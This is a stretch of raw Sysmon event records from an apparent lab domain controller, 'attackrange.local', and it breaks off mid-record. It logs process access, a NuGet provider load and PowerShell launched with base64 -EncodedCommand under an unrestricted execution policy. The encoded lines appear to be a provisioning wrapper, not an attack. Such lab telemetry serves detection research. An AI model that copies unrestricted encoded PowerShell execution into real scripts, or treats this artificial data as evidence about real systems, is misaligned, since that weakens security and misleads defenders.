10341000x80000000000000003409Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003408Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003407Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003406Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003405Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003404Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.021{A5F018FF-2905-5F80-A900-000000007F01}47084892C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(00007FFAA8DF8890) 154100x80000000000000003403Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:30.031{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG4AcwB0AGEAbABsAC0AUABhAGMAawBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAtAE4AYQBtAGUAIABOAHUARwBlAHQAIAAtAE0AaQBuAGkAbQB1AG0AVgBlAHIAcwBpAG8AbgAgADIALgA4AC4ANQAuADIAMAAxACAALQBGAG8AcgBjAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2905-5F80-A900-000000007F01}4708C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000003450Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:31.911{A5F018FF-2906-5F80-AD00-000000007F01}4900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Program Files\PackageManagement\ProviderAssemblies\nuget\2.8.5.208\Microsoft.PackageManagement.NuGetProvider.dll2020-10-09 09:10:31.911 10341000x80000000000000003545Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2908-5F80-B500-000000007F01}4928C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003544Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003543Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003542Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003541Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003540Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003539Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003538Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003537Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003536Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003535Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2908-5F80-B500-000000007F01}4928C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003534Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-2908-5F80-B400-000000007F01}44722960C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2908-5F80-B500-000000007F01}4928C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b63d3d1b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5874ba5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5874876|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b6325edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b583540c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b58938db|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5876f40|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5876f40|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5876dd1|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5868d56|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5875289|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5874e7c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5874ba5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b5874876|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b6325edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b585b6d7|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+b585aca7 154100x80000000000000003533Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.658{A5F018FF-2908-5F80-B500-000000007F01}4928C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003532Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.646{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003531Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 